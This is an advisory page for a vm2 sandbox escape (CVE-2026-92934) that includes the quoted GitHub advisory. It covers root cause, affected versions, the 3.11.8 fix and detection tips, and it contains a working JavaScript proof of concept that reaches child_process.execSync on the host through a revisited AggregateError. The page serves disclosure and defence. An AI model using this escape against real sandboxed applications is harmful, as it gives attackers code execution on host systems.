CVE-2026-92934: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
vm2 up to 3.11.7 has a sandbox escape. Sandbox code that catches a host-thrown `AggregateError` seen twice during one sanitization pass gets a live host object and can run host commands with `child_process`. It bypasses the earlier error-sanitization fix. Upgrade to vm2 3.11.8.
Published Oct 5, 2026 · Analysis Oct 25, 2026
What an attacker can do
vm2 runs untrusted JavaScript in a sandbox. When an exception crosses from the host into the sandbox, handleException in lib/setup-sandbox.js sanitizes it. To break cycles, it returns the raw host object if it sees an error a second time. For plain errors that is safe, because they are sealed in place on the first visit. sanitizeAggregateError instead rebuilds a fresh AggregateError and does not seal the original. When the same host aggregate is revisited, through a self-cycle, a mutual cycle, or errors[] holding the same object twice, the raw host proxy lands in the supposedly sanitized errors[].
The sandbox code then walks from that proxy to host objects. The proof of concept reads e.errors[1].leak.mainModule.require('child_process').execSync('id') and gets real output from the host. It also reads process.env and the process ID.
The entry point is an embedder who exposes a host function to the sandbox that throws a host AggregateError carrying a host reference such as process in an own property. The attacker needs to run code in the sandbox and needs that kind of throwing function. That limits reach, so attack complexity is high. The impact is full code execution with the host process's privileges. The researcher notes that a SuppressedError variant did not reproduce.
Who is affected
npm package vm2 up to and including 3.11.7. The report confirmed the bug on 3.11.6 and says it exists from the earlier sanitization fix onward. Only applications that run untrusted code in vm2 and expose host functions that can throw are exposed.
npm ls vm2Check for transitive copies too, since many tools bundle vm2.
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.7
- Fixed in
- 3.11.8
- Check
npm ls vm2
How to fix it
Upgrade to vm2 3.11.8.
npm install [email protected]The release notes say a revisited host-wrapped AggregateError or SuppressedError no longer returns the raw host proxy from the cycle memo. The researcher suggested returning the memoized sandbox-side replacement, or sealing the host carriers in place before recursing. The sources list no workaround. Until you upgrade, stop exposing host functions that can throw host error objects to untrusted code, or avoid running untrusted code in vm2.
How to tell if you were hit
Review which host functions your app exposes to the sandbox and whether any can throw an AggregateError. Look for sandboxed scripts that use .errors, .mainModule or require('child_process'). On the host, watch for child processes started by the Node process that you did not expect, such as id or shell commands, and for unusual reads of environment variables.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is *revisited within a single handleException traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCEConfirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain
- Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped
AggregateErrorcarrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn,docs/ATTACKS.mdCategory 38), accepted in scope. - Caught-exception sanitizer — sandbox
try{hostThrow()}catch(e){…}; transformer routesethroughhandleException. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:*handleException(agg)marksaggvisited (1820); proto-walk routes tosanitizeAggregateError(1865); host-wrapped branch readsagg.errorsand callshandleException(agg, visited)on element 0 (1965); that inner call hitsvisited.get(agg)===true→return e(1819) → rawaggproxy pushed intosanitizedArr→ becomesnewAgg.errors[0]. The rebuild does NOT sealaggin place, so the returned proxy is fully live. - Sink —
e.errors[0].leak.mainModule.require('child_process').execSync('id'). *Guard:* bridgegetwraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace showse.errors[0].isProxy===trueyet the chain executes and returns realuid=1000(ubuntu).... - Impact — host RCE with host privileges; also
process.env/.piddisclosure.
Bypass Evidence
Executed on node v22.23, vm2 3.11.6:
- Baseline vector
throw new Error('x',{cause:process})(plain Error.cause) → BLOCKED - Plain Error own-prop
e.leak=process(non-cyclic) → BLOCKED - Non-cyclic host
AggregateErrorw/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (`uid=1000(ubuntu)…`)
Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
Affected Versions
<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
Scope Note
This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
Suggested Fix
On the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place *before* recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
--- Reported by zx (Jace) — GitHub: @manus-use
Credited to manus-use, maru1009.
Questions
- Is vm2 3.11.6 affected by CVE-2026-92934?
Yes. The report confirmed the escape on 3.11.6, and everything up to 3.11.7 is listed as vulnerable. The fix is in 3.11.8.
- Can any sandboxed script exploit it?
Only when the host exposes a function that throws a host-wrapped
AggregateErrorwith a host reference attached. That is why the advisory rates attack complexity as high.- How is this related to GHSA-m283-3h24-438v?
It is an incomplete-fix bypass of that advisory's Error sanitization. The earlier fix blocks most shapes, and only the revisited
AggregateErrorevades it.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-93605
vm2 contains a sandbox escape vulnerability
critical10.0Oct 7, 2026CVE-2026-100721
vm2: NodeVM custom resolution bypasses external path boundaries
critical10.0Oct 5, 2026CVE-2026-92946
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
critical10.0Oct 5, 2026CVE-2026-92947
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
critical10.0Oct 5, 2026CVE-2026-92953
vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
critical10.0Oct 5, 2026CVE-2026-92954
vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process
critical8.6Oct 5, 2026
